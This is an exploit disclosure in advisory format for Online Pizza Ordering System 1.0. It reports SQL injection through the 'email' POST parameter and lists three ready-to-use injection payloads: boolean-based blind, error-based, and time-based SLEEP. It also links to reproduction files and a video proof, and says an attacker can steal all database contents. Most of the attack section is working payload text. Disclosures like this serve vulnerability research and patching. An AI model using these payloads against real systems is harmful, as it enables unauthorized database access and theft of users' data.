## Title: Online-Pizza-Ordering-1.0-Multiple-SQLi
## Author: nu11secur1ty
## Date: 03.31.2023
## Vendor: https://github.com/oretnom23
## Software: https://www.sourcecodester.com/php/16166/online-pizza-ordering-system-php-free-source-code.html
## Reference: https://portswigger.net/web-security/sql-injection

## Description:
The `email` parameter appears to be vulnerable to SQL injection attacks.
The attacker easily can steal all information from the database, and
it depends on the time he will need to decrypt this information,
he can decrypt and use this information for very malicious purposes.

STATUS: HIGH Vulnerability

[+]Payload:
```mysql
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: email=ZfCPbAWN@burpcollaborator.net' and '3479'='3479'
AND 2244=2244 AND 'GqOB'='GqOB&password=b0E!i9g!K9

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
    Payload: email=ZfCPbAWN@burpcollaborator.net' and '3479'='3479' OR
(SELECT 8595 FROM(SELECT COUNT(*),CONCAT(0x716a6a7071,(SELECT
(ELT(8595=8595,1))),0x71716a7071,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND
'FXYe'='FXYe&password=b0E!i9g!K9

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=ZfCPbAWN@burpcollaborator.net' and '3479'='3479'
AND (SELECT 3772 FROM (SELECT(SLEEP(7)))xChJ) AND
'pJWv'='pJWv&password=b0E!i9g!K9
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/Online-Pizza-Ordering-1.0/SQLi)

## Proof and Exploit:
[href](https://streamable.com/qil6by)

## Time spend:
00:37:00